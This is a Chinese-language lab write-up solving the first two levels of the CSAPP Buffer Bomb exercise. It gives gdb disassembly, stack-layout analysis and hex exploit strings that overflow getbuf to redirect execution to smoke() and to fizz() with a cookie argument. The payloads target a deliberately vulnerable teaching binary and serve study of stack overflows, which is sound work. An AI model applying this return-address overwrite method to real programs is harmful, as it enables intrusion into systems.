题目说明:

开启漏洞之旅,从基础做起。近日,下载了CMU为《深入理解计算机系统》(CSAPP)一书教学配合的缓冲区溢出实验Buffer Bomb,重温了栈溢出的原理。

题目提供了一个有漏洞溢出的程序bufbomb,包括五个Level,在每个Level中要求返回指定的函数、修改全局变量、执行Shellcode等,难度逐渐递增。为保证实验者作业的唯一性,实验提供了程序makecookie,生成指定用户名的cookie,在实验中将会用到这个cookie值。在我的机器上,

heen@linux:~/Study/CSAPP Exp/buflab$ ./makecookie heen
0x5573b7cf

bufbomb中包含一个有漏洞的函数getbuf

int getbuf()
{
   char buf[12];
   Gets(buf);
   return 1;
}

与标准的c函数gets类似,Gets从标准输入中读入字符串(直到回车‘\n'或文件结尾EOF),添加一个null字符,并将其存入目标位置。在上述函数中,目标位置buf为一包含12个字节的字符数组。然而,Gets也不会对传入字符串的长度进行检查,这导致栈溢出的发生。当传入字符串不超过11字符时,

heen@linux:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:hello
Dud: getbuf returned 0x1
Better luck next time

当超过11字符时,

heen@linux:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:this string is too long!
Ouch!: You caused a segmentation fault!
Better luck next time

实验还提供了一个程序sendstring,用于将十六进制表示的字符串(exploit string)转换为输入字符串,例如十六进制表示“30 31 32 33 34 35”被sendstring转换为对应的字符串“012345“。通过管道机制可以传递一系列的十六进制字符串。

heen@linux: cat exploit.txt | ./sendstring | ./bufbomb -t heen

Level0: Candle(10分)

getbuf函数被test函数调用

void test()
{
    int val;
    volatile int local = 0xdeadbeef;
    val = getbuf();
    /* Check for corrupted stack */
    if (local != 0xdeadbeef) {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%x\n", val);
        validate(3);
    }
    else {
        printf("Dud: getbuf returned 0x%x\n", val);
    }
}

在bufbomb中还有一个函数

void smoke()
{
    printf("Smoke!: You called smoke()\n");
    validate(0); 
    exit(0);
}

要求提供exploit string,使getbuf返回到smoke而非test。

解法:

用gdb调试bufbomb,获知getbuf函数的栈帧布局,以及smoke函数的起始地址

heen@linux:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb 
Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done.
(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x08048a44 <+0>:    push   ebp
   0x08048a45 <+1>:    mov    ebp,esp
   0x08048a47 <+3>:    sub    esp,0x18
   0x08048a4a <+6>:    add    esp,0xfffffff4
   0x08048a4d <+9>:    lea    eax,[ebp-0xc]   ;ebp-0xc为指针buf的值
   0x08048a50 <+12>:    push   eax
   0x08048a51 <+13>:    call   0x8048b50 <Gets>
   0x08048a56 <+18>:    mov    eax,0x1
   0x08048a5b <+23>:    mov    esp,ebp
   0x08048a5d <+25>:    pop    ebp
   0x08048a5e <+26>:    ret    
End of assembler dump.
(gdb) disass smoke
Dump of assembler code for function smoke:
   0x08048910 <+0>:    push   ebp      
   0x08048911 <+1>:    mov    ebp,esp
   0x08048913 <+3>:    sub    esp,0x8
   0x08048916 <+6>:    add    esp,0xfffffff4
   0x08048919 <+9>:    push   0x8049380
   0x0804891e <+14>:    call   0x8048748 <printf@plt>
   0x08048923 <+19>:    add    esp,0xfffffff4
   0x08048926 <+22>:    push   0x0
   0x08048928 <+24>:    call   0x8048c30 <validate>
   0x0804892d <+29>:    add    esp,0x20
   0x08048930 <+32>:    add    esp,0xfffffff4
   0x08048933 <+35>:    push   0x0
   0x08048935 <+37>:    call   0x8048788 <exit@plt>
End of assembler dump.

getbuf的栈帧布局如图所示。

wKioL1QKyOjSZv_NAAA8s1Q1hbA676.jpg

输入20个字节的exploit string,覆盖getbuf返回地址为smoke函数的起始地址0x8048910,即可使getbuf返回到smoke。编写地址的时候,注意x86平台的little-ending。

heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit1.txt 
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 10 89 04 08
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit1.txt | ./sendstring |./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:Smoke!: You called smoke()

Level1: Sparkler(20分)

bufbomb中包含fizz函数

void fizz(int val)
{
    if (val == cookie) {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    } else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

与上一关类似,要求getbuf不返回到test ,而是返回到fizz,但是必须设置fizz中函数调用的参数为自己的cookie 。

解法:

首先仍然在gdb中disass fizz函数,找出其起始地址为0x804893c,与上一关相同,这个值需要填入buf偏移的第17到20字节,以改写getbuf原来的返回地址。

heen@linux:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb
Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done.
(gdb) disass fizz
Dump of assembler code for function fizz:
   0x0804893c <+0>:    push   ebp
   0x0804893d <+1>:    mov    ebp,esp
   0x0804893f <+3>:    sub    esp,0x8
   0x08048942 <+6>:    mov    eax,DWORD PTR [ebp+0x8]     ;val存储的地址
   0x08048945 <+9>:    cmp    eax,DWORD PTR ds:0x804aa50
   0x0804894b <+15>:    jne    0x8048970 <fizz+52>
   0x0804894d <+17>:    add    esp,0xfffffff8
   0x08048950 <+20>:    push   eax
   0x08048951 <+21>:    push   0x804939c
   0x08048956 <+26>:    call   0x8048748 <printf@plt>
   0x0804895b <+31>:    add    esp,0xfffffff4
   0x0804895e <+34>:    push   0x1
   0x08048960 <+36>:    call   0x8048c30 <validate>
   0x08048965 <+41>:    add    esp,0x20
   0x08048968 <+44>:    jmp    0x8048981 <fizz+69>
   0x0804896a <+46>:    lea    esi,[esi+0x0]
   0x08048970 <+52>:    add    esp,0xfffffff8
   0x08048973 <+55>:    push   eax
   0x08048974 <+56>:    push   0x80493c0
   0x08048979 <+61>:    call   0x8048748 <printf@plt>
   0x0804897e <+66>:    add    esp,0x10
   0x08048981 <+69>:    add    esp,0xfffffff4
---Type <return> to continue, or q <return> to quit---

其次,我们获知fizz函数调用中的参数val存储的地址为fizz函数中的ebp+0x8,这个地址为buf偏移的第25到28字节,如图所示,当getbuf函数返回时,堆栈中最后弹出我们控制的ret(0x804893c),然后开始执行fizz函数,堆栈中又压入EBP,在EBP+0x8即ret+4的地方引用val,在这个地方填入我们的cookie即可达到目的。

wKioL1QK1pDRFxDkAAC_-KVxqks816.jpg

heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt 
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
3c 89 04 08 61 61 61 61 cf b7 73 55
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt | ./sendstring | ./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:Fizz!: You called fizz(0x5573b7cf)